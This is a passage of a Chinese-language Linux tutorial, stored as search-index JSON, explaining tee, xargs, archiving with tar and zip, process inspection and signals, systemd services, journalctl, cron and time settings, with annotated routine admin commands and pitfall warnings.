章节。",{"id":132280,"title":82353,"titles":132281,"content":132282,"level":357},"\u002Ftutorials\u002Flinux#_2-tee-既上屏又落盘",[74425,82165],"示例 1：边看边存 make install 2>&1 | tee -a \u002Fvar\u002Flog\u002Fdeploy.log     # -a 追加；不加就是覆盖 示例 2：绕过「>> 需要提权」的问题 echo \"10.0.0.5 internal\" | sudo tee -a \u002Fetc\u002Fhosts sudo some-cmd > \u002Froot\u002Fsecret.txt 的重定向是当前 Shell（无特权）执行的，所以会报 Permission denied——正确写法就是用 | sudo tee file。tee \u002Fdev\u002Fstderr 可把内容转错误流。",{"id":132284,"title":82436,"titles":132285,"content":132286,"level":357},"\u002Ftutorials\u002Flinux#_3-xargs-把参数交给命令",[74425,82165],"find . -name '*.tmp' -print0 | xargs -0 rm -f --\n# 标准拼接：-0 处理空格\u002F换行（与 -print0 配对使用）；-- 防文件名被当参数（-rf 之类）\n\nseq 1 9 | xargs -n 3 cmd      # -n 3 每次最多传 3 个参数\nfind . -name '*.jpg' -print0 | xargs -0 -P 8 -n 1 convert   # -P 8 并发 8 个进程，适合下载\u002F压缩\necho a b c | xargs -I{} sh -c 'tar czf {}.tgz {}'           # -I{} 把参数放在指定位置，每行起一个 shell\nfind . -name '*.tmp' -print0 | xargs -0 -r rm --            # -r 空输入不执行（GNU 特性），避免 cmd 空跑\nxargs --show-limits           # 查 ARG_MAX；超限时报 Argument list too long xargs 与 -exec … + 的取舍：两者都能批量；-exec 更直白、不用考虑管道，xargs 更灵活（能在中间做 grep\u002Fsort）。只要文件名可能带空格或换行，就必须用 -print0\u002Fxargs -0 这一对，或者 find -exec。",{"id":132288,"title":82617,"titles":132289,"content":132290,"level":357},"\u002Ftutorials\u002Flinux#_4-与子-shell",[74425,82165],"nginx -t && systemctl reload nginx             # && 前者成功才跑后者——改完配置先验证\nsystemctl is-active app || systemctl restart app   # || 前者失败才跑后者\ncd \u002Ftmp ; make                                 # ; 无条件依次执行（脚本里危险，见踩坑）\nlong_task &                                    # & 后台执行；关终端会收到 SIGHUP\n( cd \u002Ftmp && make )                            # 子 shell：里面的 cd 不影响当前目录\n{ cmd1; cmd2; } > log                          # 分组但同 shell（变量能保留）；{ 后有空格、要带 ;\necho $(date +%F)                               # 命令替换：$() 可嵌套，新代码一律用它\ntime make -j4                                  # 统计耗时（bash 内建的 time 更准，-p 给 POSIX 格式） $() 与反引号功能基本相同，但反引号内部的反斜杠和嵌套容易出错，新代码一律 $()。",{"id":132292,"title":82765,"titles":132293,"content":132294,"level":357},"\u002Ftutorials\u002Flinux#_5-here-doc-here-string",[74425,82165],"cat > \u002Ftmp\u002Frun.sh \u003C\u003C'EOF'     # here doc：把多行喂给命令的 stdin\n#!\u002Fbin\u002Fbash\nset -euo pipefail\ncd \u002Fsrv\u002Fapp && make deploy\nEOF\n\nwc -c \u003C\u003C\u003C \"hello world\"       # here string：单行输入，等价 echo \"abc\" | wc -c\n\nsudo tee \u002Fetc\u002Fprofile.d\u002Fjava.sh >\u002Fdev\u002Fnull \u003C\u003C'EOF'    # \u003C\u003C'EOF' 原样不展开变量\nexport JAVA_HOME=\u002Fusr\u002Flib\u002Fjvm\u002Fjava-17\nexport PATH=\"$JAVA_HOME\u002Fbin:$PATH\"\nEOF \u003C\u003CEOF（不带引号）会对内容做变量展开，\u003C\u003C'EOF' 原样保留——写含 $HOME 的配置文件时用后者。\u003C\u003C-EOF 允许脚本里用 Tab 缩进（只剥 Tab，不剥空格）。here doc 结束的标记必须独占一行、顶格、无尾随空格，否则 Shell 会继续等输入（表现为卡在 >）。",{"id":132296,"title":82896,"titles":132297,"content":132298,"level":357},"\u002Ftutorials\u002Flinux#_6-后台任务与脱离终端",[74425,82165],"long_task &                                  # 直接后台；关掉终端就收到 SIGHUP 会死\nnohup long_task > run.log 2>&1 &             # 标准做法：nohup 忽略 SIGHUP\njobs -l                                      # 看后台列表：[1]  28414 Running …\nfg %1                                        # 把 1 号作业调回前台（bg %1 继续后台）；%1 是作业号不是 PID\ndisown -h %1                                 # 已经跑着的任务从当前 Shell 解绑的补救\ntmux new -d -s build 'make deploy'           # 更好的方案：可重连，服务器场景首选 Ctrl-Z 是挂起（SIGTSTP）不是退出，进程还在占内存；忘记处理会留一堆 Stopped 进程，fg 回来或 kill %1 收掉。",{"id":132300,"title":75156,"titles":132301,"content":132302,"level":357},"\u002Ftutorials\u002Flinux#踩坑提醒-7",[74425,82165],"「明明加了 2>&1 还是没抓到错误」：顺序写反了。> 与 2>&1 按从左到右解析，cmd 2>&1 > f 里 stderr 指向的是终端的那个 1。 rm -rf dir && echo done 与 rm -rf dir; echo done 在脚本里的差别可能决定你是否覆盖了错误目录（第二章）。 xargs 不加 -r 时，空输入也会执行一次命令——find … | xargs rm 在极端情况下等价于 rm 无参数（报错），但换成 xargs chmod 777 就会拿当前目录开刀。 变量赋值不要留空格：NAME=deploy 正确，NAME = deploy 会被当成「执行名为 NAME 的命令」。 在管道里 if\u002Fwhile read 循环会跑在子 shell，循环里改的变量出来后消失（bash 4.2+ 可用 lastpipe，或把管道换成重定向 done \u003C file）。",{"id":132304,"title":83086,"titles":132305,"content":132306,"level":341},"\u002Ftutorials\u002Flinux#九压缩与归档targzipzip",[74425],".tar.gz、.zip、.xz 三种东西经常被混为一谈：tar 负责打包（把多个文件合成一个，不改内容），gzip\u002Fxz 负责压缩（单流算法）。tar 的 -z\u002F-j\u002F-J 只是顺手帮你调了一下压缩器。",{"id":132308,"title":83130,"titles":132309,"content":132310,"level":357},"\u002Ftutorials\u002Flinux#_1-tar-的字母到底管什么",[74425,83086],"字母 含义 单独用 c create 创建归档 与 x 互斥 x extract 解包 — t table of contents 列内容 不解包先看清单 r repend 追加（不能压缩） 少用 u update 只追加更新的文件 类似增量备份 f 归档file 名，必须紧跟文件名 -f - 表示 stdin\u002Fstdout v verbose 打印过程 看进度用 z 走 gzip（.tar.gz\u002F.tgz） 速度快、体积一般 j 走 bzip2（.tar.bz2） 慢、体积小 J 走 xz（.tar.xz） 最慢、最小，发行版源码包常用 a 按后缀自动选压缩器（--auto-compress） GNU tar 1.15+ 创建时可用",{"id":132312,"title":83319,"titles":132313,"content":132314,"level":357},"\u002Ftutorials\u002Flinux#_2-tar-常用写法",[74425,83086],"tar cf app.tar \u002Fsrv\u002Fapp         # 打包不压缩：c 创建、f 后跟归档名\ntar czf app.tar.gz \u002Fsrv\u002Fapp     # 打包 + gzip；验证用 tar tzf app.tar.gz\ntar cJf app.tar.xz \u002Fsrv\u002Fapp     # 打包 + xz：最小、最慢\ntar caf app.tar.xz \u002Fsrv\u002Fapp     # a 按后缀自动选压缩器，不容易打错\n\ntar xzf app.tar.gz -C \u002Fsrv\u002Fapp  # 解包到指定目录：x 解、-C 目标目录（目录需已存在，-C 不会自动建）\ntar tzf app.tar.gz | head       # 解包前先看清单——必须的一步！没有顶层目录的归档（tarbomb）\n                                # 会把一堆文件直接散在当前目录；新版 tar 可用 --one-top-level 自动套一层\ntar xzf app.tar.gz etc\u002Fnginx\u002Fnginx.conf   # 只解一个文件，路径按 tar tzf 里看到的原样写\ntar xzf app.tar.gz -C \u002Ftmp --wildcards 'etc\u002Fnginx\u002F*'   # 只取归档里的某个目录\n\ntar czf app.tgz --exclude='.\u002Fnode_modules' --exclude='*.log' .   # 排除若干：--exclude 必须在创建之前给出\ntar czf app.tgz -X \u002Fsrv\u002Fexclude.txt .                             # 排除清单来自文件，一行一个 glob\nsudo tar xzf app.tar.gz -C \u002F      # 保留权限解包：不加 sudo 时属主会变执行者\ntar czhf a.tgz dir                # -h 把软链接指向的内容打进去（默认只存链接本身）",{"id":132316,"title":83541,"titles":132317,"content":132318,"level":357},"\u002Ftutorials\u002Flinux#_3-tar-与管道目录到目录的流式搬运",[74425,83086],"tar cf - -C \u002Fsrv\u002Fapp . | tar xf - -C \u002Fsrv\u002Fapp-backup    # 目录到目录流式复制，保留权限，不落地中间文件\ntar czf - -C \u002Fsrv app | ssh deploy@backup 'cat > \u002Fbackup\u002Fapp.tgz'   # 跨机实时打包传过去\nssh deploy@server 'tar czf - \u002Fsrv\u002Fapp' | tar xzf - -C \u002Flocal\u002Fbackup  # 反过来，从远端拉一个目录 tar cf - 里的 - 是 stdout，xf - 里的 - 是 stdin。这种写法的价值：不产生临时文件、能跨过空间不足的目标盘、管道里还能插一层 gzip。",{"id":132320,"title":83652,"titles":132321,"content":132322,"level":357},"\u002Ftutorials\u002Flinux#_4-gzipbzip2xzzstd-单文件压缩器",[74425,83086],"gzip -9 app.log        # 压缩并替换原文件：-1 最快、-9 最小（默认 6）；-k 保留原文件\ngunzip app.log.gz      # 解压（等价 gzip -d）；解压后 .gz 消失\nbzip2 -9 file          # 更高压缩、更慢，大文件慢到不可用\nxz -9e file            # 当前通用最优：-9e 额外努力；解压很快\nzstd -19 file          # 现代首选（快 + 小），服务器未必装，Alpine 仓库有\nzcat app.log.gz        # 不解压直接看\nzgrep -h 'ERROR' \u002Fvar\u002Flog\u002F*.gz   # 不解压直接搜——查历史日志必备，-h 去掉文件名前缀\nzless app.log.gz       # 分页看压缩包（less 配了 LESSOPEN 也能直接开 .gz） zgrep 处理多个 .gz 时按文件名顺序扫，配合 ls -r 可以从最新往回找，找完立刻停。",{"id":132324,"title":83773,"titles":132325,"content":132326,"level":357},"\u002Ftutorials\u002Flinux#_5-zip-unzip",[74425,83086],"zip -r site.zip dist\u002F          # 压缩目录：-r 递归；-9 最高压缩、-q 安静\nzip -ru site.zip dist\u002F         # -u 只加更新的文件（zip 支持增量更新归档）\nzip -erP 'pass' site.zip dist\u002F # 加密码：传统 ZipCrypto 很弱，敏感数据别用 zip\nunzip -l site.zip              # -l 只列内容不解包\nunzip site.zip -d \u002Fsrv\u002Fapp     # -d 解压到目录；目录不存在会创建（与 tar -C 相反）\nunzip -o site.zip              # -o 全覆盖 \u002F -n 不覆盖——默认会逐个问，脚本里必须指定\nzipinfo -1 site.zip            # 比 unzip -l 灵活：-h 头部、-s 大小列表\nzip -FF broken.zip --out fixed.zip   # 传输截断时抢救 tar 与 zip 的选择：Linux 服务器之间用 tar.gz\u002Fxz（保留权限、时间戳、软链接），要给 Windows 或走浏览器下载用 zip。zip 不保存 Unix 权限位，解压后脚本全部丢执行位。",{"id":132328,"title":75156,"titles":132329,"content":132330,"level":357},"\u002Ftutorials\u002Flinux#踩坑提醒-8",[74425,83086],"tar 忘记 -f 后跟文件名（如 tar -czf app）会把 - 当成文件，或报 Cowardly refusing to create an empty archive；f 永远放参数最后。 打包整个 \u002F 会卡在 \u002Fproc、\u002Fsys 上：加 --exclude={\u002Fproc,\u002Fsys,\u002Fdev,\u002Frun}，或直接用专门的备份工具。 压缩前先看体积：du -sh；对一个正在被写入的日志压缩会得到两份都不完整的文件，先 cp 快照或用 logrotate 的 copytruncate。 gzip -9 与 -6 的体积差常在 1–3%，时间差却是几倍，别为了「更小」把部署脚本拖慢。 .tar.gz 想追加文件是不可能的（压缩流不能追加），需要重打包——这是很多人踩过的设计限制。",{"id":132332,"title":83977,"titles":132333,"content":132334,"level":341},"\u002Ftutorials\u002Flinux#十进程pstopkill",[74425],"「服务没起来」的第一现场永远是进程列表：它在不在、属主是谁、CPU 吃了多少、状态是 S 还是 Z。这一章把 ps 的每一列、top 的每个数字、信号的优先级讲清楚，然后给出杀进程的正确顺序。",{"id":132336,"title":84002,"titles":132337,"content":132338,"level":357},"\u002Ftutorials\u002Flinux#_1-ps-抓一份进程快照",[74425,83977],"ps 有两种参数风格，效果接近： ps aux     # BSD 风格：USER PID %CPU %MEM VSZ RSS TTY STAT START TIME COMMAND\nps -ef     # POSIX\u002FUNIX 风格：UID PID PPID C STIME TTY TIME CMD，带父进程号\nps -fp 28414                    # 看单个 PID 的详情（含父进程）\nps -u deploy -o pid,cmd         # 只看某个用户起了什么\nps aux --sort=-rss | head       # 按内存排序，找吃内存的大户\nps -eo pid,ppid,user,%cpu,rss,etime,cmd --sort=-%cpu    # 自定义列（最推荐，脚本里稳）\npstree -ap 28414                # 进程树看父子关系（-a 带命令行） ps aux 各列含义： 列 含义 读法与坑 USER 属主用户 服务真实用户常是 www-data\u002Fnginx，不是你 PID 进程号 唯一，kill 用它 %CPU 自进程启动以来的平均 CPU 占比 单核满载 = 100；8 核全用可到 800；多核机器上超 100 完全正常 %MEM RSS 占物理内存百分比 与 RSS 一致，别拿它当「真实占用」 VSZ 虚拟地址空间大小（KB） 包含未实际分配的、映射的、共享的，JVM\u002F数据库常见几个 G 而 RSS 很小 RSS 常驻物理内存（KB） 实际占用看这一列；共享库会被多个进程重复计 TTY 控制终端 ? 表示无终端（服务\u002F后台进程） STAT 状态码 见下表，排障关键 START 启动时刻 显示日期表示不是今天起的 TIME 累计 CPU 时间（不是墙上时间） 跑了三天但 TIME 只有 5 分钟 = 一直在等 IO COMMAND 命令行 ps 只显示一次快照，top 会跟着改 STAT 常见组合： 码 含义 说明 R 运行\u002F可运行 在 CPU 上或在队列里 S 可中断睡眠 绝大多数正常服务的状态 D 不可中断睡眠 通常在等磁盘\u002FNFS；kill -9 对它无效，这是「进程杀不掉」的头号原因 T 停止 被 Ctrl-Z 或 SIGSTOP 挂起 Z 僵尸（defunct） 已退出但父进程没 wait；无法再被杀，只能让父进程回收 \u003C \u002F N 高优先级 \u002F 低优先级 nice 值的标记 l \u002F s \u002F + 多线程 \u002F 会话首领 \u002F 前台进程组 s 常见于服务进程",{"id":132340,"title":84421,"titles":132341,"content":132342,"level":357},"\u002Ftutorials\u002Flinux#_2-pgrep-与-pidof-找-pid",[74425,83977],"pgrep -f 'gunicorn.*app'     # -f 按正则匹配整条命令行；不加 -f 只看程序名（15 字符截断）\npgrep -u deploy -f worker    # 叠加用户限定，更精确\npgrep -l -f nginx            # -l 同时打印进程名，快速核对是不是自己要的\npidof nginx                  # 按可执行文件名精确列出所有 PID：28414 28415\npidstat -p 28414 1           # 持续采样某进程的 CPU\u002FIO（sysstat 包），排「这个进程到底在忙什么」 用 pgrep -f 时的自杀风险：pkill -f 'tail -f app.log' 可能匹配到执行这条命令的 shell 本身。稳妥写法是加 -x（精确名）或用 pgrep 先列出确认。",{"id":132344,"title":84512,"titles":132345,"content":132346,"level":357},"\u002Ftutorials\u002Flinux#_3-top-实时视图",[74425,83977],"top 的头部五区域与关键读数： 区域 样例 怎么读 第 1 行 top - 09:24:31 up 14 days, 3:12, 2 users, load average: 0.32, 0.41, 0.38 当前时间、运行时长、登录数、1\u002F5\u002F15 分钟平均负载 第 2 行 Tasks: 183 total, 1 running, 182 sleeping, 0 stopped, 0 zombie zombie 非 0 说明有父进程不回收 第 3 行 %Cpu(s): 12.3 us, 3.1 sy, 0.0 ni, 83.9 id, 0.4 wa, 0.0 hi, 0.3 si us 用户、sy 内核、id 空闲、wa 高等待说明磁盘瓶颈 第 4-5 行 MiB Mem: 7861.4 total, 214.3 free, 3210.5 used, 4436.6 buff\u002Fcache \u002F MiB Swap: 2048.0 total, 1900.0 free 看可用内存要算 free + buff\u002Fcache（第十七章细讲） 进程表 PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND VIRT 虚拟、RES 常驻、SHR 共享；真正吃的是 RES 示例 1：常用启动方式 top -p 28414          # 只看某个进程\ntop -u deploy         # 只看某个用户\ntop -b -n 1 > snap.txt  # 批处理模式抓一次快照，脚本必备 示例 2：交互键（进入 top 之后按） 键 作用 键 作用 q 退出 1 展开每个 CPU 核心 P \u002F M 按 CPU \u002F 内存排序 T（小写 t） 切换头部显示 c 显示完整命令行 u \u002F U 只看某用户 f 选择显示哪些列 k 对某 PID 发信号（会二次确认） r renice 某 PID G 切换到某个 cpuset H 显示线程 g 保存\u002F切换视野组 空格 立即刷新 o\u002FR 改变刷新间隔 \u002F 反向排序 htop（apt install htop）好在：彩色树状视图、鼠标可点、F4 过滤、F9 送信号、F6 排序、Ctrl-L 重绘。%CPU 超 100 的解释：一个 8 线程的进程把 2 个核跑满会显示 200%，多核机器上 top 的 100% 指的是「一个核」，不是总机器的 1\u002F8；判断是否真忙要看展开后的每核利用率（按 1）。",{"id":132348,"title":84867,"titles":132349,"content":132350,"level":357},"\u002Ftutorials\u002Flinux#_4-kill-与信号-正确顺序三步别跳",[74425,83977],"信号 编号 默认行为 能不能被捕获 用法 HUP 1 挂断 \u002F 让服务重读配置 能 kill -HUP 28414（老式重载，nginx 仍支持） INT 2 中断（等同 Ctrl-C） 能 交互场景 QUIT 3 退出并 dump core（Ctrl-\\） 能 有些服务用它输出栈 TERM 15 请求终止（默认） 能 kill 28414 就是它 KILL 9 立刻杀死，内核回收 不能 最后手段，见下 STOP 19（x86 Linux） 强制暂停，不可捕获 不能 冻结进程做调试；停止状态要 CONT 恢复 CONT 18 恢复被 STOP 的进程 — kill -CONT 28414 USR1\u002FUSR2 10\u002F12 自定义 能 各服务含义不同（看服务文档） kill 28414                  # ① SIGTERM（15）：给程序机会关连接、刷缓冲、清 pid 文件\nsleep 10; ps -p 28414       # ② 等 10 秒确认，没退出再说\nkill -9 28414               # ③ 仍不掉才 SIGKILL：内核硬拆，不做清理 kill -9 的代价：不执行信号处理函数 → 临时文件\u002F锁文件\u002Fpid 文件残留、半写的数据库文件、子进程变孤儿、共享内存段没释放。很多「服务重启后卡在启动中」其实是 -9 留下的锁没清。对 D 状态进程 -9 也无效——它在等内核 IO，只能等 IO 完成或修好底层（磁盘\u002F网络存储）。 其他常用发法 kill -15 28414              # 显式指定信号，等价 kill 28414\nkill -TERM -28414           # 负号 = 整个进程组，清理派生一堆子进程的任务\nkill %1                     # 按当前 Shell 的作业号\nkill -0 28414               # 不发送，只测进程在不在且有没有权限——脚本里的标准存活检查\nkillall nginx               # 按名字（精确匹配，默认区分大小写）；killall -u deploy vim\npkill -TERM -f 'gunicorn app'   # 按命令行正则，先温和来一遍；确认杀不掉再上 -9",{"id":132352,"title":85201,"titles":132353,"content":132354,"level":357},"\u002Ftutorials\u002Flinux#_5-nicereniceionice-调优先级",[74425,83977],"nice -n 10 .\u002Fbatch.sh           # 以低优先级启动：-20（最高）到 19（最低），0 是默认\nrenice -n 10 -p 28414           # 运行中调优先级；调高需要 root；-u deploy 批量改某用户所有进程\nionice -c 3 -p 28414            # 调 IO 优先级（-c3 空闲级），备份任务必备，cfq\u002Fbfq 调度器下才有效\nchrt --deadline 0 1000000 cmd   # 实时调度类——一般业务别碰，会把机器拖死",{"id":132356,"title":85275,"titles":132357,"content":132358,"level":357},"\u002Ftutorials\u002Flinux#_6-僵尸与孤儿",[74425,83977],"ps -eo pid,ppid,stat,cmd | awk '$3 ~ \u002FZ\u002F'          # 找僵尸进程（\u003Cdefunct> 的那些）\nps -eo pid,ppid,cmd | awk '$2 == 1'                # 看被 init 收养的孤儿\nvmstat 1 5                                         # 顺带一眼看全局 僵尸进程不占 CPU 和内存，只占一个 PID 表项，但会持续消耗父进程的资源并可能填满 PID。正确处理不是杀僵尸（杀不掉），而是：让父进程 wait（修代码里的信号\u002F子进程回收）、或重启父进程；如果父进程是 init\u002Fsystemd 且仍在回收，僵尸会自己消失。孤儿进程是被过继给 PID 1 的活着的孩子，本身无害。 vmstat 1 5 的四列：r（运行队列长度，持续大于核数说明 CPU 不够）、b（阻塞在 IO 的进程数）、si\u002Fso（swap 进出，非 0 说明内存紧张）、wa（IO 等待百分比）。这几列在第十七章排障时是主力。",{"id":132360,"title":75156,"titles":132361,"content":132362,"level":357},"\u002Ftutorials\u002Flinux#踩坑提醒-9",[74425,83977],"ps aux 的 %CPU 是平均值，抓瞬时值用 top 或 pidstat 1；「ps 显示 3% 但机器很卡」通常是采样时机问题。 VSZ 大而 RSS 小不代表泄漏：JVM、mmap 大文件、malloc 池都会虚高，判断泄漏看 RSS 的长期趋势。 别对 systemd 托管的服务用 kill -9：systemd 会按 Restart= 立刻拉起来，看起来像「杀不死」。正确做法是 systemctl stop（第十一章）。 pkill -f 加 sudo 时容易误杀自己的 SSH 会话（匹配到了命令行里的字符串）。执行前 pgrep 同一条件先看结果。 僵尸 + 高负载的组合，根因常常是磁盘 D 状态进程堆积，先用 ps -eo stat,cmd | grep '^D' 确认。",{"id":132364,"title":85442,"titles":132365,"content":132366,"level":341},"\u002Ftutorials\u002Flinux#十一服务与定时任务systemctljournalctlcrontab",[74425],"现代 Linux 的服务由 systemd 管，日志由 journald 收，定时任务由 cron 跑。这一章覆盖三件套，重点在 systemctl 的正确用法与 journalctl 的过滤参数——它们决定了你能不能在三分钟内定位「服务为什么起不来」。",{"id":132368,"title":85460,"titles":132369,"content":132370,"level":357},"\u002Ftutorials\u002Flinux#_1-systemctl-管理服务",[74425,85442],"systemctl status nginx          # 看状态、最近日志、主 PID：绿=active、红=failed、黄=activating\nsystemctl start nginx           # 启动；不改变开机是否自启\nsystemctl stop nginx            # 停止：发 ExecStop（无则 SIGTERM），超时 90s 后 SIGKILL\nsystemctl restart nginx         # 重启，有中断；能 reload 就别 restart\nsystemctl reload nginx          # 重读配置不断服务；服务必须支持 ExecReload，否则报错\nsystemctl reload-or-restart nginx   # 支持就 reload，否则 restart——部署脚本里的标准写法\nsystemctl enable nginx          # 设开机自启：只建符号链接，不会启动；加 --now 顺便起\nsystemctl disable nginx         # 取消自启：不会停正在运行的服务；加 --now 一起停\nsystemctl enable --now app      # 部署时统一这么写\nsystemctl is-active app         # 查是否运行（--quiet 只要状态码，可进 if）\nsystemctl is-enabled nginx      # 查是否自启：enabled\u002Fdisabled\u002Fstatic\u002Fmasked\nsystemctl daemon-reload         # 改了 unit 文件后必须执行！不 reload 则新配置不生效\nsystemctl list-units --type=service --state=failed    # 只看失败的单元\nsystemctl list-unit-files --type=service              # 列所有可 enable 的单元（看开机状态）\nsystemctl cat nginx             # 打印 unit 文件内容（含 drop-in 合并结果）\nsystemctl edit nginx            # 建 drop-in 覆盖（推荐，不动原文件），保存后自动 daemon-reload\nsystemctl mask nginx            # 彻底禁死（连手动 start 都不行）；unmask 恢复\nsystemctl list-dependencies nginx    # 依赖树：「谁还没起来导致我起不来」\nsystemctl show nginx -p ExecMainStartTimestamp,MainPID   # 查任意属性，脚本取 PID\u002F启动时间\nsystemctl list-timers --all     # 看 systemd 定时器（比 cron 更好管的一类任务） restart 与 reload 的取舍：reload 让进程自己重读配置、连接不断（nginx、haproxy 支持），但不是所有服务都实现；配置改了却没生效，先 systemctl show app -p Environment,ExecStart 确认它拿到的到底是什么。",{"id":132372,"title":85729,"titles":132373,"content":132374,"level":357},"\u002Ftutorials\u002Flinux#_2-unit-文件的最小结构",[74425,85442],"放在 \u002Fetc\u002Fsystemd\u002Fsystem\u002Fmyapp.service： [Unit]\nDescription=My App worker\nAfter=network-online.target postgresql.service\nWants=postgresql.service\n\n[Service]\nType=simple\nUser=deploy\nGroup=deploy\nWorkingDirectory=\u002Fsrv\u002Fapp\nEnvironmentFile=\u002Fsrv\u002Fapp\u002Fenv.list\nExecStart=\u002Fsrv\u002Fapp\u002Fvenv\u002Fbin\u002Fgunicorn -c gunicorn.conf.py app:app\nExecReload=\u002Fbin\u002Fkill -HUP $MAINPID\nRestart=on-failure\nRestartSec=3\nStandardOutput=journal\nLimitNOFILE=65535\n\n[Install]\nWantedBy=multi-user.target 字段 作用 常踩的点 Type simple（默认，ExecStart 即主进程）\u002Fforking（传统守护进程）\u002Foneshot（跑完就退）\u002Fnotify（自己报就绪） 脚本型任务用 simple 会因为脚本秒退被判失败，改 oneshot 或 Type=exec ExecStart 启动命令 必须绝对路径；不能用 shell 特性（管道、*），需要时 ExecStart=\u002Fbin\u002Fsh -c '…' After= \u002F Wants= \u002F Requires= 顺序与依赖 Requires 强依赖（对方失败我也失败），Wants 弱依赖；After 只管顺序不产生依赖，两者要搭配写 Restart= no\u002Fon-failure\u002Falways 配合 StartLimitBurst，重启风暴会被限流并进入 failed User= \u002F Group= 运行身份 改了要 chown 数据目录（第五章） Environment= \u002F EnvironmentFile= 环境变量 文件里不要写 export，一行 KEY=VALUE WorkingDirectory= 工作目录 不写就是 \u002F，相对路径全崩 ProtectSystem= \u002F ReadWritePaths= 沙箱加固 开了 ProtectSystem=strict 又没给 ReadWritePaths 就会「Permission denied」而权限位是对的 TimeoutStartSec\u002FTimeoutStopSec 超时 启动慢的服务要放宽，否则反复被杀 [Install] WantedBy= enable 时挂到哪个 target multi-user.target（服务器）\u002Fgraphical.target 改配置的三种途径优先级：systemctl edit 服务名（生成 \u002Fetc\u002Fsystemd\u002Fsystem\u002F服务名.d\u002Foverride.conf）> 自己写同名 drop-in 目录 > 直接改 \u002Flib\u002Fsystemd\u002Fsystem\u002Fxxx.service（会被包升级覆盖）。改完必须 systemctl daemon-reload。",{"id":132376,"title":86106,"titles":132377,"content":132378,"level":357},"\u002Ftutorials\u002Flinux#_3-journalctl-查服务日志",[74425,85442],"journalctl -u nginx                     # 某个单元的全部日志\njournalctl -u nginx -f                  # 实时跟踪（等价 tail -f，但含重启前的日志）\njournalctl -u nginx --since \"2026-10-04 09:00\" --until \"10:00\"   # 时间窗；也支持 \"1 hour ago\"\njournalctl -p err -u nginx              # 只看错误及以上（emerg\u002Falert\u002Fcrit\u002Ferr\u002Fwarning\u002Fnotice\u002Finfo\u002Fdebug）\njournalctl -b                           # 本次启动的全部日志\njournalctl -b -1                        # 上一次启动——查无故重启必备\njournalctl -xe                          # 末尾几行 + 每条的解释（x 更多细节，e 跳到末尾）\njournalctl -k -b                        # 内核日志（等价 dmesg，但可按时段过滤）\njournalctl _PID=28414                   # 按字段查（字段=值 直接写）\njournalctl -f -u app -u worker          # 多个单元一起跟\njournalctl -o json-pretty -u app        # 换输出格式（json、short-iso、cat）\njournalctl --disk-usage                 # journald 占了多少磁盘\njournalctl --vacuum-size=200M           # 主动收缩日志（也可 --vacuum-time=7d）\njournalctl --list-boots                 # 列出所有启动记录 日志为空的两种常见原因：服务把日志写到了自己的文件（unit 里 StandardOutput=file: 或代码里 logging.FileHandler），以及权限不够——普通用户查全量日志需要 systemd-journal 组（sudo usermod -aG systemd-journal deploy）。持久化默认可能关闭：\u002Fetc\u002Fsystemd\u002Fjournald.conf 里 Storage=persistent，然后 systemctl restart systemd-journald，否则 \u002Fvar\u002Flog\u002Fjournal 不存在、-b -1 查不到上次开机的事。 journald 上限的四个参数（同一文件）：SystemMaxUse=500M（磁盘上限，最有用）、SystemMaxFileSize=50M、MaxRetentionSec=30day、ForwardToSyslog=yes（转给 rsyslog）。",{"id":132380,"title":86347,"titles":132381,"content":132382,"level":357},"\u002Ftutorials\u002Flinux#_4-crontab-定时任务",[74425,85442],"crontab -l          # 看当前用户的任务\ncrontab -e          # 编辑（改完自动生效，无需重启 cron）\nsudo crontab -u deploy -e    # 读写别人的（root 权限）\ncrontab -r          # 删除全部任务 —— 危险，没有二次确认 字段顺序与示例： 分 时 日 月 周          命令\n 0 3 * * *  find \u002Fsrv\u002Fapp\u002Flogs -name '*.log' -mtime +7 -delete\n*\u002F5 * * * *  \u002Fsrv\u002Fapp\u002Fhealthcheck.sh >> \u002Fvar\u002Flog\u002Fhc.log 2>&1\n30 4 * * 1-5  \u002Fusr\u002Fbin\u002Fpg_dump appdb | gzip > \u002Fbackup\u002Fapp.sql.gz\n@reboot      \u002Fsrv\u002Fapp\u002Fstartup.sh 写法 含义 易混点 * * * * * 每分钟 五段依次是「分 时 日 月 周」，第 3 位是「几号」而不是小时，写反就永不执行 0 3 * * * 每天 03:00 「日」和「周」同时限制时是或关系（cron 特性，不是 bug） *\u002F5 每 5 分钟 分钟从 0 起算，*\u002F7 不是严格每 7 分钟 1-5（周） 周一到周五 0 和 7 都是周日；有的实现只认 0 23:59 式 不存在，必须 59 23 * * * 顺序写反就是「59 分 23 时」→ 永远不跑 三个经典坑： PATH 不同。cron 的环境只有 \u002Fusr\u002Fbin:\u002Fbin，没有你的 ~\u002F.bashrc 里的路径。写绝对路径，或在 crontab 顶部加 PATH=\u002Fusr\u002Flocal\u002Fbin:\u002Fusr\u002Fbin:\u002Fbin 和 MAILTO=\"\"。 % 是特殊字符（被当换行\u002F参数分隔）。crontab 里 date +%F 必须写成 date +\\%F，或者干脆把命令放进脚本文件（强烈推荐）。 注释与输出。# 行会被忽略；任务有输出时 cron 会试图用 sendmail 发信，没装 MTA 就表现为「静默失败」。所有行末尾加 >> \u002Fvar\u002Flog\u002Fcron.out 2>&1 或 MAILTO=\"\"。 排查有没有跑：grep CRON \u002Fvar\u002Flog\u002Fsyslog（Debian）或 journalctl -u cron（RHEL 系与 systemd 环境）。at 一次性任务的用法：echo '\u002Fsrv\u002Fapp\u002Freport.sh' | at 02:00 tomorrow，atq 看队列、atrm 3 取消；需要装 at 且 atd 在跑。",{"id":132384,"title":86617,"titles":132385,"content":132386,"level":357},"\u002Ftutorials\u002Flinux#_5-timedatectl-时间与时区",[74425,85442],"timedatectl                                # 一站式看时间、时区、NTP 状态：排「日志时间对不上」先看这里\ntimedatectl set-timezone Asia\u002FShanghai     # 设时区；改完服务不一定立刻感知，Java 应用还要 -Duser.timezone\ntimedatectl set-ntp true                   # 开启 systemd-timesyncd 同步；NTPSynchronized=yes 才算同步上\ntimedatectl show-timesync --all            # 看用的哪台 NTP 服务器；内网要配 \u002Fetc\u002Fsystemd\u002Ftimesyncd.conf 的 Server=\ntimedatectl set-time \"2026-10-04 09:30:00\" # 手动设时间：必须先关 NTP！时间回拨会让证书校验、\n                                           # cron、数据库主从全部乱套\nchronyc sources                            # 用 chrony 时的对时源（RHEL 系默认 chrony，\nntpq -p                                    # timedatectl 显示 inactive 不代表没同步）\nhwclock -r                                 # 读硬件时钟——双系统时间错乱（UTC vs 本地）就在这里 容器里的时间问题：容器共享宿主内核时钟，改容器时区只影响 TZ 环境变量（TZ=Asia\u002FShanghai），不要试图在容器里 